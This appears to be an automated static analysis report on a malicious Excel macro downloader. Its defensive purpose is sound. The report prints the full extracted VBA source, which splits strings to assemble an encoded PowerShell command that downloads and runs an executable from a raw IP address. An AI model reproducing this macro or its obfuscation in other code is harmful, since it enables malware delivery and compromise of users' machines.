Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c6971112e20b441f…

MALICIOUS

Office (OOXML)

144.7 KB Created: 2021-08-19 14:03:52 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-11-02
MD5: 31a6c161407e0e1c22ba4c8cc7922dbd SHA-1: 68d27dbce6639d2360d24f3cfbd48e3f03a8c26a SHA-256: c6971112e20b441f60617be0343ced897ef21ba2b298f282bbb547248c4360b3
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The VBA macro contains obfuscated strings that, when reassembled, form a PowerShell command. This command is designed to download a file from 'http://3.64.2.130/yv/r/QegkQD7aPA TDZSG SbMD.exe' and execute it. The use of obfuscated PowerShell execution and the download of a secondary payload are strong indicators of a malicious downloader.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2608 bytes
SHA-256: c7d4c7d461b740a2aad343e70037049571e92fd76543a64c3069ef5df8096c69
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Activate()
On Error Resume Next

Dim bat As String


Dim s As String

s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "


s = s + "JABQAHIAbwB"
s = s + "jAE4AYQBtAG"
s = s + "UAIAA9ACAAI"
s = s + "gBZAGQAbgBh"
s = s + "AGcAZwBtAHQ"
s = s + "AbwB5AGMAaw"
s = s + "B5AGgAaQBjA"
s = s + "G0AcwBiAGsA"
s = s + "YgBtAGQALgB"
s = s + "lAHgAZQAiAD"
s = s + "sAKABOAGUAd"
s = s + "wAtAE8AYgBq"
s = s + "AGUAYwB0ACA"
s = s + "AUwB5AHMAdA"
s = s + "BlAG0ALgBOA"
s = s + "GUAdAAuAFcA"
s = s + "ZQBiAEMAbAB"
s = s + "pAGUAbgB0AC"
s = s + "kALgBEAG8Ad"
s = s + "wBuAGwAbwBh"
s = s + "AGQARgBpAGw"
s = s + "AZQAoACIAaA"
s = s + "B0AHQAcAA6A"
s = s + "C8ALwAzAC4A"
s = s + "NgA0AC4AMgA"
s = s + "1ADEALgAxAD"
s = s + "MAOQAvAHYAc"
s = s + "gAvAHIALwBR"
s = s + "AGUAZwBrAEQ"
s = s + "ANwA2AGEAcA"
s = s + "BEAFUAZABrA"
s = s + "GcAbQBEAFMA"
s = s + "UwBiAEIALgB"
s = s + "lAHgAZQAiAC"
s = s + "wAIgAkAGUAb"
s = s + "gB2ADoAQQBQ"
s = s + "AFAARABBAFQ"
s = s + "AQQBcACQAUA"
s = s + "ByAG8AYwBOA"
s = s + "GEAbQBlACIA"
s = s + "KQA7AFMAdAB"
s = s + "hAHIAdAAtAF"
s = s + "AAcgBvAGMAZ"
s = s + "QBzAHMAIAAo"
s = s + "ACIAJABlAG4"
s = s + "AdgA6AEEAUA"
s = s + "BQAEQAQQBUA"
s = s + "EEAXAAkAFAA"
s = s + "cgBvAGMATgB"
s = s + "hAG0AZQAiAC"
s = s + "kA"


Dim x As Double

ActiveWorkbook.Save

bat = "Mbefiusocvqwxsbfo.bat"

Open bat For Output As #1
    Print #1, s 
    Close #1
    x = Shell(bat, 0)

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 6144 bytes
SHA-256: 594dfb88b608c9b726e9dd372e5c39bdc2fa5dd9ae506930a3772c050c8bf86e

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